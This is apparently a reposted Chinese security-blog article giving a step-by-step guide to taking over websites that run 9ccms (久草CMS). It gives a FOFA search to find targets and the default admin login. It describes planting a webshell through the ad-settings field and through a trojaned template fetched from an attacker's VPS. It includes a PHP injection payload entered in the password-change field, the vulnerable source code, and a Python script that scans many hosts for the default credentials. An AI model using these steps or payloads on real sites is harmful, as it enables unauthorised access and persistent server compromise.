9ccms(久草CMS)-颜色网站渗透getshell 附批量检测代码

admin 2024年3月12日10:03:24评论184 views字数 2720阅读9分4秒阅读模式


0x00 CMS类型

9ccms

FOFA:

body="久草CMS"

0x01 渗透站点

9ccms(久草CMS)-颜色网站渗透getshell 附批量检测代码


(默认弱口令)

账号:9ccms
密码:9ccms

9ccms(久草CMS)-颜色网站渗透getshell 附批量检测代码

9ccms(久草CMS)-颜色网站渗透getshell 附批量检测代码

0x03 getshell

1、广告设置-广告联盟JS广告,添加木马

9ccms(久草CMS)-颜色网站渗透getshell 附批量检测代码


写入的内容在 /JCSQL/Admin/Ad/AdminAdJs.php 中

点击保存修改。

访问木马地址:
https://127.0.0.1/JCSQL/Admin/Ad/AdminAdJs.php
密码:xxx

2、另一种shell方式:通用模板下载解压getshell

9ccms(久草CMS)-颜色网站渗透getshell 附批量检测代码

模板下载后会自动解压 地址 Template/9C18H261/css/style.css

9ccms(久草CMS)-颜色网站渗透getshell 附批量检测代码

先将模板下载下来,放入shell文件

9ccms(久草CMS)-颜色网站渗透getshell 附批量检测代码



上传到vps上,
Python命令快速临时搭建一个简单的HTTP服务器

下载模板,抓包 替换 tpl参数

9ccms(久草CMS)-颜色网站渗透getshell 附批量检测代码

9ccms(久草CMS)-颜色网站渗透getshell 附批量检测代码


密码修改文件写入

密码修改为:9ccms’);phpinfo();//(

除了第5行做了html实体编码,和删除反斜杠以外,未作任何安全处理,直接写入php文件中,这里也可以直接拿shell

<?php
if (isset($_POST['submit']) && isset($_POST['username']) && isset($_POST['password']) && isset($_POST['ippass']) ) {function post_input($data){$data = stripslashes($data);$data = htmlspecialchars($data);return $data;}$username = post_input($_POST["username"]);$password = post_input($_POST["password"]); $ippass = post_input($_POST["ippass"]); $str = ''; $str .= '<?php'; $str .= "n"; $str .= '//后台密码'; $str .= "n"; $str .= 'define('USERNAME', ''.$username.'');'; $str .= "n"; $str .= 'define('PASSWORD', ''.$password.'');'; $str .= "n"; $str .= 'define('IPPASS', ''.$ippass.'');'; $str .= "n"; $str .= '?>'; $ff = fopen("../JCSQL/Admin/Security/AdminUser.php",'w+'); fwrite($ff,$str);?>


9ccms(久草CMS)-颜色网站渗透getshell 附批量检测代码

9ccms(久草CMS)-颜色网站渗透getshell 附批量检测代码


9ccms(久草CMS)-颜色网站渗透getshell 附批量检测代码

0X04 批量脚本(弱口令检测)

import timeimport requestsimport osfrom requests.sessions import sessionos.system('')from requests.packages.urllib3.exceptions import InsecureRequestWarning# 禁用安全请求警告requests.packages.urllib3.disable_warnings(InsecureRequestWarning)import argparseclass poc():    def title(self):        print('''+-----------------------------------------------------------------+漏洞名称:9CCCMS 弱口令功能:单个检测,批量检测                                     单个检测:python poc.py -u url批量检测:python poc.py -f 1.txt+-----------------------------------------------------------------+                                     ''')    def poc(self, target_ur):        url = f'{target_ur}/adminx/'        headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36'}        try:            res = requests.get(url=url, headers=headers,verify=False,timeout=10)            return res        except Exception as e:            print("33[31m[x] 请求失败 33[0m", e)    def main(self, target_url, file):        self.title()        count=0        if target_url:            res=self.poc(target_url)            if res.status_code==200 and "当前使用的是默认账号" in res.text:                print(f'33[31m[+] {target_url} 存在弱口令:9ccms/9ccms 33[0m')        if file:            for url in file:                count += 1                target_url = url.replace('n', '')  #取消换行符                #time.sleep(1)                res=self.poc(target_url)                try:                    if res.status_code==200 and "当前使用的是默认账号" in res.text:                        print(f'33[31m[{count}] 响应值为200,{target_url} 存在弱口令:9ccms/9ccms33[0m')                    else:                        print(f'[{count}] 响应值为{res.status_code}{target_url} 不存在弱口令')                except Exception as e:                    print("33[31m[x] 请求失败 33[0m", e)if __name__ == '__main__':    parser = argparse.ArgumentParser()    parser.add_argument('-u','--url',type=str,default=False,help="目标地址,带上http://")    parser.add_argument("-f",'--file', type=argparse.FileType('r'),default=False,help="批量检测,带上http://")    args = parser.parse_args()    run = poc()    run.main(args.url, args.file)

原文始发于微信公众号(安全圈子我最菜):9ccms(久草CMS)-颜色网站渗透getshell 附批量检测代码

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月12日10:03:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   9ccms(久草CMS)-颜色网站渗透getshell 附批量检测代码https://cn-sec.com/archives/2568785.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息